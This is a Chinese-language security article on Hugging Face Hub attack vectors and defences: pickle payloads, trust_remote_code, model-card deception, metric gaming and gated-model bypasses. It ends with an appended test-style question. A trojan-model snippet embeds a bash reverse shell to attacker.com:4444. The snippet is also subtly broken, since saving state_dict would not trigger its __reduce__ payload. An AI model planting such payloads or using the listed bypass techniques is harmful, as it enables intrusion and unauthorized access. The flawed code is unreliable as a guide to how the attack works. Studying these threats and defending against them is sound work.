Hugging Face Hub 安全
Hugging Face Hub 之攻擊面分析:惡意模型上傳、pickle 反序列化 exploit、模型卡操弄、信任訊號限制、gated 模型繞過,與社群驅動之信任利用。
Hugging Face Hub 安全
Hugging Face Hub 為 ML 模型之主導分發平台,作為 ML 社群事實上之套件註冊。配數百萬託管之模型與數十億月下載,其於 ML 佔據 npm 對 JavaScript 或 PyPI 對 Python 相同之信任位置——除 ML 產物可按設計含可執行程式碼外。Hub 之社群驅動模型意指任何人可上傳模型,而使用者依賴之信任訊號大部分為外觀。
惡意模型上傳
攻擊向量
Hub 支援多個模型格式,每個具不同風險輪廓:
| 格式 | 風險層級 | 攻擊向量 |
|---|---|---|
| Pickle(.pkl、.pt、.bin) | 關鍵 | 於反序列化時之任意程式碼執行 |
| 自訂程式碼(modeling_*.py) | 關鍵 | 當 trust_remote_code=True 時之任意 Python 執行 |
| Tokenizer(tokenizer.py) | 高 | 經自訂 tokenizer 載入之程式碼執行 |
| ONNX | 中 | 自訂算子利用之潛力 |
| Safetensors | 低 | 僅權重格式,無可執行程式碼 |
| GGUF | 低 | metadata 欄位可被打造,但無程式碼執行 |
以 Pickle 為本之攻擊
以 torch.save() 儲存之 PyTorch 模型使用 Python 之 pickle 序列化,於反序列化期間執行任意程式碼。攻擊者可嵌入於使用者呼叫 torch.load() 或當 transformers 函式庫載入模型時執行之程式碼。
打造木馬化模型
建立正常運作但於載入期間執行 payload 之模型。Payload 於模型可用前執行,使其對功能測試不可見。
import torch import torch.nn as nn class TrojanModel(nn.Module): def __init__(self): super().__init__() self.linear = nn.Linear(768, 768) def __reduce__(self): # Payload 於反序列化期間執行 import subprocess return ( exec, ("import subprocess; subprocess.Popen(['bash', '-c', " "'bash -i >& /dev/tcp/attacker.com/4444 0>&1'])",), ) # 儲存看似正常模型 checkpoint model = TrojanModel() torch.save(model.state_dict(), "pytorch_model.bin")建立令人信服之儲存庫
以專業模型卡、現實訓練指標與合理名稱上傳模型。納入看似合法之組態檔以通過隨意檢查。
經社交工程推廣
於 ML 論壇分享模型、於討論中參照之,並建立連回原之衍生模型。經社群互動建立表面合法性。
自訂程式碼執行
trust_remote_code=True 參數需以載入具自訂架構之模型。當設定時,transformers 函式庫自模型儲存庫下載並執行任意 Python 檔案。
可執行程式碼之檔案:
modeling_*.py—— 自訂模型架構定義configuration_*.py—— 自訂組態類別tokenization_*.py—— 自訂 tokenizer 實作image_processing_*.py—— 自訂圖像處理器- 於
config.json經auto_map參照之任何檔案
模型卡操弄
模型卡作為 Hub 模型之主要文件與信任訊號。它們為出現於模型頁面並影響使用者決策之渲染 Markdown 檔案。
操弄技術
效能膨脹。 於模型卡報告膨脹之基準分數。使用者按其自我回報指標比較模型,故膨脹數字驅動下載。
來源捏造。 聲稱模型自受信任基礎模型微調(例如「Fine-tuned from Llama 3」)以經關聯繼承信任。無驗證機制確認此聲明。
惡意連結。 嵌入對外部資源(文件、notebook、展示站點)之連結,其提供惡意軟體或網釣頁面。模型卡支援完整 Markdown,含連結、圖像與於某些脈絡中之 HTML。
誤導安全聲明。 聲稱模型已被安全測試、RLHF 對齊,或由組織認證。這些聲明未被平台驗證。
Metadata 博弈
模型卡 YAML 前綴控制模型如何出現於 Hub 搜尋與過濾:
---
license: mit
datasets:
- wikipedia # 可能非實際訓練資料
metrics:
- accuracy: 0.95 # 自我回報、未驗證
tags:
- text-generation
- safe # 未驗證聲明
- production-ready # 未驗證聲明
---信任訊號及其限制
組織徽章
Hugging Face 驗證組織身分,於其個人檔案顯示徽章。然而:
- 驗證確認身分,非產物安全
- 組織成員可於無每模型審查下發布
- 受損組織帳戶保留徽章
- 使用者將「已驗證組織」等同於「安全模型」
社群互動指標
| 指標 | 預期訊號 | 博弈方法 |
|---|---|---|
| 下載 | 熱門度 | 自動化下載腳本 |
| 喜歡 | 社群認可 | 協調按讚活動 |
| Spaces | 主動使用 | 建立參照模型之衍生 Spaces |
| 討論 | 社群互動 | 問正面問題之 sock puppet 帳戶 |
惡意軟體掃描
Hugging Face 於上傳檔案執行自動化安全掃描:
- Pickle 掃描於序列化檔案偵測已知惡意模式
- 掃描器檢查可疑
__reduce__實作 - 自訂程式碼檔案被標記供手動審查
掃描器限制:
- 新穎 payload 繞過模式匹配偵測
- 自訂 Python 檔案中之混淆程式碼逃避靜態分析
- 初始載入器於執行時取真實 payload 之多階段 payload
- 掃描器更新落後於新攻擊技術
Gated 模型繞過
Gated 模型需使用者接受使用條款或請求存取後才下載。此機制為授權合規與存取控制。
繞過技術
Token 分享。 具核准存取之使用者分享其 Hugging Face token,予他人存取 gated 模型而無需經核准過程。
API 直接存取。 Gated 模型檔案儲存於與公開模型相同之基礎設施。若存取控制於 API 層而非儲存層實作,直接儲存 URL 可能繞過 gating。
衍生模型。 經核准存取下載 gated 模型,然後將權重重新上傳至新、非 gated 儲存庫。原模型之授權可能禁止此,但技術控制不防止之。
快取副本。 由 CI/CD 系統下載之 gated 模型常於無 gating 控制之產物儲存、容器映像或共享檔案系統中被快取。Gate 於下載時套用,非於使用時。
供應鏈攻擊情境
情境 1:Typosquatting
攻擊者註冊 meta-Ilama/Llama-3-8B(大寫 I 而非小寫 L)。誤拼儲存庫名稱之使用者下載並載入攻擊者之模型,其含 pickle payload。模型卡為合法模型卡配同一指標之副本。
情境 2:依賴鏈投毒
攻擊者建立看似有用之 adapter(LoRA 權重),其參照基礎模型。當使用者載入 adapter 時,其自攻擊者儲存庫拉取基礎模型而非預期來源。Adapter 正確運作,但基礎模型含後門。
情境 3:棄置儲存庫接管
熱門模型有時由稍後放棄其帳戶之個別研究者建立。攻擊者可嘗試獲控制棄置帳戶(密碼重用、email 提供者受損)並以投毒版本更新模型檔案。現有下載連結與參照仍指向同一儲存庫。
防禦建議
為模型消費者
- 逐字驗證儲存庫名稱 於下載前
- 僅使用 safetensors 格式(於可用時);拒絕以 pickle 為本之模型
- 永不為未受信任來源之模型設定
trust_remote_code=True - 釘住特定 commit 而非分支參照
- 驗證下載檔案之雜湊 對已知良好值
- 以 fickling 等工具掃描模型檔案 於載入前
為發布模型之組織
- 為所有模型權重儲存使用 safetensors
- 以 Sigstore 或類似簽署模型產物
- 於 Hub 儲存庫啟用分支保護
- 監控你模型之 typosquat 儲存庫
- 為 gated 模型實作存取記錄
為平台安全
- 擴展惡意軟體掃描 以涵蓋自訂程式碼檔案與以組態為本之攻擊
- 為組織發布之模型實作強制簽署
- 為眾所周知之模型家族執行命名空間保留
- 為訓練過程提供來源證明(非僅上傳)
參考資料
- Hugging Face Security —— 平台安全文件
- Safetensors —— 安全模型序列化格式
- Fickling —— Pickle 安全分析工具
- JFrog ML Model Security Research —— 惡意 Hub 模型分析
Hugging Face Hub 上之模型儲存庫具已驗證組織徽章、50,000 下載,並使用 safetensors 格式。config.json 含指向自訂 modeling 程式碼之 'auto_map'。以 trust_remote_code=True 載入此模型安全嗎?